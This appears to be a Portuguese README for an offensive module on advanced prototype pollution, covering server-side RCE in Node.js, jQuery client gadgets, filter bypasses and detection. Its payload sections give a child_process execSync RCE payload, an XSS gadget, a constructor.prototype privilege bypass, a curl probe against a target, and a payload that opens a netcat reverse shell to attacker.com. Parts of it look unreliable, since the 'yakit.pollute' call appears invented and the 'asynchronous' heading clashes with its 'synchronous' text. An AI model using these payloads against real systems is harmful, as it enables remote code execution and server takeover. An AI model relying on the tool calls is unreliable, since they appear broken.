O que prototype-pollution-avancado faz?
Guia avançado de poluição de protótipo — RCE no servidor, gadgets no cliente, bypass de filtros e técnicas de detecção. Companheiro do módulo ../prototype-pollution/ para conceitos básicos. Use quando tiver confirmado a poluição e precise escalar para execução de código ou encontrar gadgets específicos de frameworks.
Visão Geral
Este módulo cobre cenários de exploração avançada de poluição de protótipo, incluindo:
- RCE no servidor: Payloads para Node.js que exploram
__proto__econstructor.prototypepara execução remota de código. - Gadgets no cliente: Identificação e uso de gadgets em frameworks como jQuery, Vue.js e React.
- Bypass de filtros: Técnicas para contornar sanitizações comuns, como uso de
constructor,__defineGetter__e chaves aninhadas. - Detecção avançada: Métodos para detectar poluição em ambientes com restrições de CSP ou Content-Type.
Pré-requisitos
- Conhecimento básico de JavaScript e poluição de protótipo.
- Ferramenta
yakitinstalada para testes automatizados. - Ambiente Node.js para testes locais (opcional).
Uso
Payloads para RCE
const yakit = require('yakit');
yakit.pollute('__proto__.exec', 'require("child_process").execSync("id")');
Gadgets no Cliente
Para jQuery < 3.5.0:
$.extend(true, {}, JSON.parse('{"__proto__": {"text": "<img src=x onerror=alert(1)>"}}'));
Bypass de Filtros
Use constructor para acessar o protótipo:
const payload = '{"constructor": {"prototype": {"admin": true}}}';
Técnicas Avançadas
Detecção com CSP
Use cabeçalhos HTTP para identificar poluição:
curl -X POST http://target.com/api -H "Content-Type: application/json" -d '{"__proto__": {"polluted": true}}' && echo "Vulnerável"
Exploração Assíncrona
Se o servidor usa json.parse síncrono, tente:
const http = require('http');
const payload = JSON.stringify({__proto__: {exec: `require('child_process').execSync('nc -e /bin/sh attacker.com 4444')`}});
Referências
Contribuição
Sinta-se à vontade para abrir issues ou pull requests com novos gadgets ou técnicas de bypass.